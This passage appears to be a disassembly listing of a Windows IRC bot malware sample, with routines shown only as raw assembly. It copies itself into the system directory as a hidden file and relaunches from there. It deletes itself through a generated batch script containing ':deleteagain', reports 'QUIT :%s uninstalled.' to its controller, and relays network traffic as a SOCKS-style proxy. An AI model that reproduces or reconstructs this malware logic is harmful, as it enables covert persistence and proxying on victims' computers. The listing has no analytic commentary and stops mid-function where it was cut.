; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: sub_4167F1:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: brattyty:0041AD4Co
					; brattyty:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EC0C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EC0C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EC0C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EC0C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DF10
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DF10


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
